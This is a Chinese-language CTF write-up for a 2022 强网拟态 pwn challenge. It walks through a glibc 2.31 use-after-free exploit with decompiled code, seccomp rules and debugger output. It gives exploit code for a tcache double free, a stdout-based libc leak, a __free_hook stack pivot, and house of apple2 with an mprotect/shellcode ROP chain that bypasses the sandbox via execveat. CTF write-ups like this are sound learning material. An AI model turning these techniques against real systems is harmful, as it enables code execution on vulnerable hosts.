强网拟态-2022-pwn-only
总结
-
该题的沙箱我们可以通过execveat绕过,但是注意execveat是个系统调用
-
2.29以后存在一个key(bk)检查,不能直接double free
-
可以通过已经申请一个存在的tcachebins尾往上一点的地址修改size和直接伪造double free
-
house of apple2 + 栈迁移的使用
-
高版本__free_hook用不了setcontext时,如何栈迁移?
mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]; mov rsp, rdx; ret
注意rdx是关键!
-
house of botcake++(?)
逆向分析
glibc版本
$ ./libc.so.6
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.2) stable release version 2.31.
Copyright (C) 2020 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 9.3.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
GLIBC版本是2.31没啥特别的点需要强调,顺便一说GLIBC2.32有对齐检查和指针加密,处理起来有点麻烦
好吧,有需要强调的点,double free时不能直接double free了,要修改key啥的,或者house of botcake
关键函数
-
init函数
unsigned __int64 sub_135D() { __int64 v1; // [rsp+0h] [rbp-10h] unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); signal(14, (__sighandler_t)((char *)sub_1328 + 1)); alarm(0x3Cu); v1 = seccomp_init(0x7FFF0000LL); seccomp_rule_add(v1, 0LL, 59LL, 0LL); seccomp_load(v1); //在这开启了沙盒 return __readfsqword(0x28u) ^ v2; }
可知,开启了沙盒,它可能会使程序中残留chunk,如下(详细占个坑)
pwndbg> bin tcachebins 0x20 [ 7]: 0x5586c32cc8f0 —▸ 0x5586c32cca00 —▸ 0x5586c32cccb0 —▸ 0x5586c32cce30 —▸ 0x5586c32ccc90 —▸ 0x5586c32ccf40 —▸ 0x5586c32ccb10 ◂— 0x0 0x50 [ 1]: 0x5586c32ccf60 ◂— 0x0 0x70 [ 7]: 0x5586c32cc800 —▸ 0x5586c32ccba0 —▸ 0x5586c32cc910 —▸ 0x5586c32ccb30 —▸ 0x5586c32cccd0 —▸ 0x5586c32cce50 —▸ 0x5586c32cca20 ◂— 0x0 0x80 [ 5]: 0x5586c32cc870 —▸ 0x5586c32cc980 —▸ 0x5586c32ccc10 —▸ 0x5586c32ccec0 —▸ 0x5586c32cca90 ◂— 0x0 0xd0 [ 1]: 0x5586c32cc350 ◂— 0x0 0xf0 [ 2]: 0x5586c32ccd40 —▸ 0x5586c32cc6b0 ◂— 0x0 fastbins 0x20: 0x5586c32cc7d0 ◂— 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x0 smallbins empty largebins empty
沙盒规则如下
line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007(这里规定了只能使用64位系统调用) 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007 0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007 0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0007: 0x06 0x00 0x00 0x00000000 return KILL
-
Increase函数
unsigned __int64 sub_161C() { int size; // [rsp+4h] [rbp-Ch] unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); if ( !heap_num ) exit(0); printf("Size:"); size = read_line(); if ( size <= 0 || size > 0xE7 ) { puts("Error"); exit(0); } heap_prt = malloc(size); if ( !heap_prt ) { puts("Error"); exit(0); } printf("Content:"); raed_n(heap_prt, size); --heap_num; puts("Done!"); return __readfsqword(0x28u) ^ v2; }
逻辑很简单,输入size,然后往size里输入内容,其中heap_num的值是0xb
-
Initial函数
unsigned __int64 sub_17B0() { int size; // [rsp+4h] [rbp-Ch] unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); if ( edit_flag == 0xDEADBEEF ) { edit_flag = 0; size = 0x10; if ( !heap_prt ) { printf("Size:"); size = read_line(); if ( size <= 0 || size > 231 ) { puts("Error"); exit(0); } heap_prt = malloc(size); if ( !heap_prt ) { puts("Error"); exit(0); } } memset(heap_prt, 0, size); } return __readfsqword(0x28u) ^ v2; }
简单看看就知道逻辑是申请一个chunk,然后将里面全改成0
-
Decrease函数:
unsigned __int64 sub_1734() { unsigned __int64 v1; // [rsp+8h] [rbp-8h] v1 = __readfsqword(0x28u); if ( !free_num ) exit(0); free(heap_prt); --free_num; puts("Done!"); return __readfsqword(0x28u) ^ v1; }
存在uaf
总结
- Increase与Initial函数可以申请任意大小的chunk
- Initial函数只能使用1次
- Increase函数可以使用0xb次
- Decrease函数存在uaf漏洞
- 程序逻辑都是对最新申请的chunk进行修改,要狠狠的考虑堆风水
- 程序开始时有chunk残留
漏洞利用
前言
-
首先考虑如何getflag,由于是GLIBC2.31,我们就可以考虑打hook,但是题目开了沙盒,我们不可能直接就system('/bin/sh')。此时注意一下沙盒规则,就会发现可以使用execveat('/bin/sh'),此时有以下思路
-
修改freehook为execveat,然后free一个有/bin/sh的chunk(但free只有4次使用机会,得好好考虑...恩不包括最后一次,只有3次使用机会)(execveat是系统调用,我们没办法直接将free_hook改成execveat) -
利用以下gadget实现orw
(1) mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]; (2) 0x7f5a85218046 <setcontext+294>: mov rcx,QWORD PTR [rdx+0xa8] 0x7f5a8521804d <setcontext+301>: push rcx 0x7f5a8521804e <setcontext+302>: mov rsi,QWORD PTR [rdx+0x70] 0x7f5a85218052 <setcontext+306>: mov rdi,QWORD PTR [rdx+0x68] 0x7f5a85218056 <setcontext+310>: mov rcx,QWORD PTR [rdx+0x98] pwndbg> 0x7f5a8521805d <setcontext+317>: mov r8,QWORD PTR [rdx+0x28] 0x7f5a85218061 <setcontext+321>: mov r9,QWORD PTR [rdx+0x30] 0x7f5a85218065 <setcontext+325>: mov rdx,QWORD PTR [rdx+0x88] 0x7f5a8521806c <setcontext+332>: xor eax,eax 0x7f5a8521806e <setcontext+334>: ret
该思路由下面分析可知,不能使用,主要是因为我们无法控制chunk内0xa8的数据
-
栈迁移然后mprotect + execveat_bin_sh_shellcode(我们选择该思路进行攻击)
-
[...]
-
过程
-
利用残留的chunk,制作一个指向自己的tcache,即double free,如下
#------------make a double free---------------------- increace(0xe0) decreace() #time1 initial() decreace() #time2 #------------now we have a double free---------------
-
然后利用uaf部分写(16分之1的概率),将一条尽可能长的tcachebins的尾结点-0x10写到我们uaf控制tcachebins里(尽可能长是为了可以多次申请利用)(前者我们简记为TA)
#------------we use double free prt to malloc a full tcache list------------------ #remote off1 = 0x47f0 off2 = 0xd6a0 #local off1 = (get_current_heapbase_addr() + 0x7f0)&0xffff off2 = (get_current_libcbase_addr() + 0x1ed6a0)&0xffff log_address_ex2(off1) log_address_ex2(off2) off1 &= 0xffff off2 &= 0xffff #部分写,16分1的概率改成以下链 #0x70 [ 7]: 0x561303b27800 —▸ 0x561303b27ba0 —▸ 0x561303b27910 —▸ 0x561303b27b30 —▸ 0x561303b27cd0 —▸ 0x561303b27e50 —▸ 0x561303b27a20 ◂— 0x0 #这一步的目的是使double free可以多次使用malloc increace(0xe0, p16_ex(off1)) increace(0xe0)
-
申请我们uaf制造TA处的内存,完成伪造TA尾结点tcache的size和fd(fd为double free),从而制造出UB
#------------------------------------------------------------------------ #fake a big chunk,and fake a fd point to make double free increace(0xe0, flat(0, 0x761, p16(off1+0x10))) ''' before: tele 0x55ce5431b7f0 00:0000│ 0x55ce5431b7f0 ◂— 0x0 01:0008│ 0x55ce5431b7f8 ◂— 0x71 /* 'q' */ 02:0010│ 0x55ce5431b800 —▸ 0x55ce5431bba0 —▸ 0x55ce5431b910 —▸ 0x55ce5431bb30 —▸ 0x55ce5431bcd0 ◂— ... 03:0018│ 0x55ce5431b808 —▸ 0x55ce5431b010 ◂— 0x1000000000007 after: pwndbg> tele 0x55ce5431b7f0 00:0000│ 0x55ce5431b7f0 ◂— 0x0 01:0008│ 0x55ce5431b7f8 ◂— 0x761 02:0010│ 0x55ce5431b800 ◂— 0x55ce5431b800 make a double free 03:0018│ 0x55ce5431b808 —▸ 0x55ce5431b010 ◂— 0x1000000000007 ''' #------------------------------------------------------------------------
-
按照TA的size申请它对应的chunk(事实上我们申请的chunk的size是被我们改过的)
#------------------------------------------------------------------------ increace(0x60) #As a matter of fact, we malloc(0x750),
-
将该chunk free了,得到UB
decreace() #time3
此时我们会发现TA中还有原来的尾结点,而它也存在UB中,而且TA中多出了main_arena+96,就像house of botcake一样,
-
申请一个size不在tcachebins里的chunk,这样就会从UB中切割,他的fd残留了main_arena+96,而且也是TA的尾结点,爆破攻击_IO_2_1_stdout_泄露libc地址,修改前
pwndbg> fp 0x7f628bfa26a0 $1 = { file = { _flags = -72537977, _IO_read_ptr = 0x7f628bfa2723 <_IO_2_1_stdout_+131> "\n", _IO_read_end = 0x7f628bfa2723 <_IO_2_1_stdout_+131> "\n", _IO_read_base = 0x7f628bfa2723 <_IO_2_1_stdout_+131> "\n", _IO_write_base = 0x7f628bfa2723 <_IO_2_1_stdout_+131> "\n", _IO_write_ptr = 0x7f628bfa2723 <_IO_2_1_stdout_+131> "\n", _IO_write_end = 0x7f628bfa2723 <_IO_2_1_stdout_+131> "\n", _IO_buf_base = 0x7f628bfa2723 <_IO_2_1_stdout_+131> "\n", _IO_buf_end = 0x7f628bfa2724 <_IO_2_1_stdout_+132> "", _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x7f628bfa1980 <_IO_2_1_stdin_>, _fileno = 1, _flags2 = 0, _old_offset = -1, _cur_column = 0, _vtable_offset = 0 '\000', _shortbuf = "\n", _lock = 0x7f628bfa37e0 <_IO_stdfile_1_lock>, _offset = -1, _codecvt = 0x0, _wide_data = 0x7f628bfa1880 <_IO_wide_data_1>, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0, _mode = -1, _unused2 = '\000' <repeats 19 times> }, vtable = 0x7f628bf9e4a0 <_IO_file_jumps> }
修改后(在调用输出函数前看)
fp 0x7fb9d9a6c6a0 $1 = { file = { _flags = -72542073, _IO_read_ptr = 0x0, _IO_read_end = 0x0, _IO_read_base = 0x0, _IO_write_base = 0x7fb9d9a6c700 <_IO_2_1_stdout_+96> "", _IO_write_ptr = 0x7fb9d9a6c723 <_IO_2_1_stdout_+131> "\n", _IO_write_end = 0x7fb9d9a6c723 <_IO_2_1_stdout_+131> "\n", _IO_buf_base = 0x7fb9d9a6c723 <_IO_2_1_stdout_+131> "\n", _IO_buf_end = 0x7fb9d9a6c724 <_IO_2_1_stdout_+132> "", _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x7fb9d9a6b980 <_IO_2_1_stdin_>, _fileno = 1, _flags2 = 0, _old_offset = -1, _cur_column = 0, _vtable_offset = 0 '\000', _shortbuf = "\n", _lock = 0x7fb9d9a6d7e0 <_IO_stdfile_1_lock>, _offset = -1, _codecvt = 0x0, _wide_data = 0x7fb9d9a6b880 <_IO_wide_data_1>, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0, _mode = -1, _unused2 = '\000' <repeats 19 times> }, vtable = 0x7fb9d9a684a0 <_IO_file_jumps> }
#--------------------house of botcake------------------------------------ #now, we make a big chunk into unsortedbin(house of botcake) #malloc one that didn't show up in tcache list size. increace(0x20, p16(off2)) increace(0x60) increace(0x60, flat(0xfbad1887, 0, 0, 0, "\x00")) #------------------------------------------------------------------------ lbaddr = recv_current_libc_addr(timeout=1) lb = 0 lb = set_current_libc_base_and_log(lbaddr, 0x1ec980) lb = lbaddr-0x1ec980 libc.address = lb log_address_ex2(lb) #-------------------now we leak libcbase---------------------------------
-
此时我们有了libc地址就可以攻击free_hook
通过切割UB,攻击tcachebins即可
#-------------------attack free_hook------------------------------------- ''' unsortedbin all: 0x55912c67b820 —▸ 0x7fb31ca11be0 (main_arena+96) ◂— 0x55912c67b820 pwndbg> tele 0x55912c67b820 00:0000│ 0x55912c67b820 ◂— 0x1000100000000 01:0008│ 0x55912c67b828 ◂— 0x731 02:0010│ 0x55912c67b830 —▸ 0x7fb31ca11be0 (main_arena+96) —▸ 0x55912c67bfa0 ◂— 0x0 03:0018│ 0x55912c67b838 —▸ 0x7fb31ca11be0 (main_arena+96) —▸ 0x55912c67bfa0 ◂— 0x0 04:0020│ 0x55912c67b840 ◂— 0x0 ↓ 3 skipped pwndbg> 08:0040│ 0x55912c67b860 ◂— 0x0 09:0048│ 0x55912c67b868 ◂— 0x81 0a:0050│ 0x55912c67b870 —▸ 0x55912c67b980 —▸ 0x55912c67bc10 —▸ 0x55912c67bec0 —▸ 0x55912c67ba90 ◂— ... attack this 0b:0058│ 0x55912c67b878 —▸ 0x55912c67b010 ◂— 0x1000000000007 0c:0060│ 0x55912c67b880 ◂— 0x0 we find the offset 0x50 have a tcache list ''' increace(0xe0, flat({ 0x40: libc.sym.__free_hook-0x10 })) free_hook = libc.sym.__free_hook log_address_ex2(free_hook) increace(0x78) # 0x0000000000154930: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]; # 0x000000000005e650: mov rsp, rdx; ret; # 0x00000000000656e5: add rsp, 0x10; pop rbx; pop r12; pop r13; ret; # 0x0000000000027529: pop rsi; ret; # 0x0000000000026b72: pop rdi; ret; # 0x000000000011c371: pop rdx; pop r12; ret; # 0x000000000005aa48: leave; ret; # 0x00000000000256c0: pop rbp; ret; #now we will malloc free_hook,but the rdi is (__free_hook - 0x10) increace(0x78, flat({ 0x8: libc.sym.__free_hook-0x10+0x18, #减去0x10就是这个attack chunk的mem头 0x10: libc.search(asm("mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]")).__next__(), #1 0x38: libc.search(asm("mov rsp, rdx; ret")).__next__(), #2 0x18: [ libc.search(asm("pop rdi; ret")).__next__(), libc.sym._IO_2_1_stderr_, libc.sym.gets, libc.sym.exit ] })) decreace() #time4s
该exp利用了2个gadget实现了栈迁移,然后gets(IO_2_1_stderr)
-
最后就是apple2 + 栈迁移了
data = IO_FILE_plus_struct().house_of_apple2_stack_pivoting_when_exit(libc.sym._IO_2_1_stderr_, libc.sym._IO_wfile_jumps, libc.search(asm("leave; ret")).__next__(), libc.search(asm("pop rbp; ret")).__next__(), libc.sym._IO_2_1_stderr_ + 0xe0-8) sl(flat({ 0: data, 0xe0: [ libc.search(asm("pop rdi; ret")).__next__(), libc.sym._IO_2_1_stderr_ & ~0xfff, libc.search(asm("pop rsi; ret")).__next__(), 0x1000, libc.search(asm("pop rdx; pop r12; ret")).__next__(), 0x7, 0x0, libc.sym.mprotect, libc.sym._IO_2_1_stderr_ + 0x130 ], 0x130: shellcode }))
细节
__free_hook栈迁移详解
(一)
执行:
mov rdx, qword ptr [rdi + 8];
mov qword ptr [rsp], rax;
call qword ptr [rdx + 0x20]
rdi为chunk指针, 执行完该gadget后rdx为chunk + 8处的数据,rsp变成gadget自己的地址。然后跳转到[chunk+8]+0x28处
(二)
mov rsp, rdx;
ret
该gadget完成了栈迁移,将rsp = chunk + 8处的数据,从该数据代表的地址往下执行,我们在chunk + 8数据代表的地址处布置ROP链即可
(三)
pop rdi; ret
给gets函数布置参数,形成gets(_IO_2_1_stderr_)
house_of_apple2_stack_pivoting_when_exit详解
源码如下
def house_of_apple2_stack_pivoting_when_exit(self, standard_FILE_addr: int, _IO_wfile_jumps_addr: int, leave_ret_addr: int, pop_rbp_addr: int, fake_rbp_addr: int):
"""make sure standard_FILE_addr is one of address of _IO_2_1_stdin_/_IO_2_1_stdout_/_IO_2_1_stderr_. If not, content of standard_FILE_addr-0x30 and standard_FILE_addr-0x18 must be 0."""
assert context.bits == 64, "only support amd64!"
self.flags = 0
self._IO_read_ptr = pop_rbp_addr
self._IO_read_end = fake_rbp_addr
self._IO_read_base = leave_ret_addr
self._IO_write_base = 0
self._IO_write_ptr = 1
self._mode = 0
self._lock = standard_FILE_addr-0x10
self.chain = leave_ret_addr
self._codecvt = standard_FILE_addr
self._wide_data = standard_FILE_addr - 0x48
self.vtable = _IO_wfile_jumps_addr
return self.__bytes__()
house_of_apple2_stack_pivoting_when_do_IO_operation = house_of_apple2_stack_pivoting_when_exit
可以得到以下参数解释:
- 参数1:一个标准的_IO_FILE_plus结构体地址
- 参数2:_IO_wfile_jumps的地址
- 参数3:leave_ret_addr
- 参数4:pop_rbp_addr
- 参数5:要迁移过去的地址+8(因为是通过leave;ret迁移)
data = IO_FILE_plus_struct().house_of_apple2_stack_pivoting_when_exit(libc.sym._IO_2_1_stderr_,
libc.sym._IO_wfile_jumps,
libc.search(asm("leave; ret")).__next__(),
libc.search(asm("pop rbp; ret")).__next__(),
libc.sym._IO_2_1_stderr_ + 0xe0-8)
就是栈迁移到libc.sym.IO_2_1_stderr + 0xe0,然后执行libc.sym.IO_2_1_stderr + 0xe0处的地址
标签:__,libc,0x0,rdx,free,only,IO,pwn,强网 From: https://www.cnblogs.com/7resp4ss/p/16950563.html